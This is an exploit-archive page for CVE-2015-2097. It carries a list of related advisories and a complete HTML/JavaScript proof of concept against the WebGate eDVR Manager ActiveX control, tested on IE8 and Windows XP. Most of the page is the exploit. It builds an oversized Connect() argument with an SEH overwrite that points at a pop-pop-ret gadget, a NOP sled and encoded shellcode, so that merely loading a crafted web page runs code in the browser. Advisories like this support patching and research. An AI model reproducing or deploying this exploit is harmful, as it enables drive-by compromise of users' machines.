WebGate eDVR Manager 2.6.4 Connect Method Stack Buffer Overflow Exploit

🗓️ 02 Apr 2015 00:00:00Reported by Praveen DarshanamType

zdt🔗 0day.today👁 38 Views

WebGate eDVR Manager 2.6.4 Stack Buffer Overflow Exploi

Reporter	Title	Published	Views	Family All 15
0day.today	WebGate eDVR Manager Stack Buffer Overflow Exploit	27 Mar 201500:00	–	zdt
ATTACKERKB	CVE-2015-2097	9 Mar 201514:59	–	attackerkb
Circl	CVE-2015-2097	2 Apr 201500:00	–	circl
CNVD	Multiple Buffer Overflow Vulnerabilities in WebGate eDVR Manager	12 Mar 201500:00	–	cnvd
Check Point Advisories	WebGate Multiple Products WESPMonitor Stack Buffer Overflow (CVE-2015-2097)	7 Apr 201500:00	–	checkpoint_advisories
Check Point Advisories	WebGate Multiple Products WESPSerialPortCtrl Buffer Overflow (CVE-2015-2097)	9 Jul 201500:00	–	checkpoint_advisories
CVE	CVE-2015-2097	9 Mar 201514:00	–	cve
Cvelist	CVE-2015-2097	9 Mar 201514:00	–	cvelist
NVD	CVE-2015-2097	9 Mar 201514:59	–	nvd
Packet Storm	WebGate eDVR Manager Stack Buffer Overflow	27 Mar 201500:00	–	packetstorm

<html>
<!--
# Exploit Title: WebGate eDVR Manager Connect Method Stack Buffer Overflow
# Date: 01st April, 2015
# Exploit Author: Praveen Darshanam
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/
# Software Link: http://www.webgateinc.com/wgi_htdocs/eng/dcenter/view.php?id=wgi_eng&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=531&category_group=4&category_product=74&category=174
# Tested on: Windows XP SP3 using IE8
# CVE : 2015-2097
 
targetFile = "C:\WINDOWS\system32\WESPSDK\WESPSerialPort.dll"
prototype  = "Sub Connect ( ByVal IPAddr As String ,  ByVal PortNum As Integer ,  ByVal UserID As String ,  ByVal Password As String )"
progid     = "WESPSERIALPORTLib.WESPSerialPortCtrl"
Tested on IE8
Author: Praveen Darshanam
http://blog.disects.com/
http://darshanams.blogspot.com/
P.S. Do not remove back slashes in shellcode and other variables
-->
 
<object classid='clsid:BAAA6516-267C-466D-93F5-C504EF973837' id='target'>
</object>
<script>
 
var arg1="PraveenD";
var arg2=1;
var arg3= "";
var arg4="PraveenD";
 
var nops = "";
var shellcode = "";
var buff2 = "";
 
for (i=0; i<1664; i++)
{
    arg3 += "B";
}
var nseh = "\xeb\x10PD";
//WESPSerialPort.dll(0x100104e7 = pop pop ret)
var seh = "\xe7\x04\x01\x10";
for (i=0;i<80; i++)
{
    nops += "\x90";
}
shellcode = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";
for (i=0;i<(8000 - (arg3.length + nseh.length + seh.length + nops.length + shellcode.length)); i++)
{
    buff2 += "A";
}
 
fbuff = arg3 + nseh + seh + nops + shellcode + buff2;
target.Connect(arg1, arg2, fbuff ,arg4);
 
</script>
</html>

#  0day.today [2018-01-05]  #

02 Apr 2015 00:00Current

8.7High risk

Vulners AI Score8.7

EPSS0.46293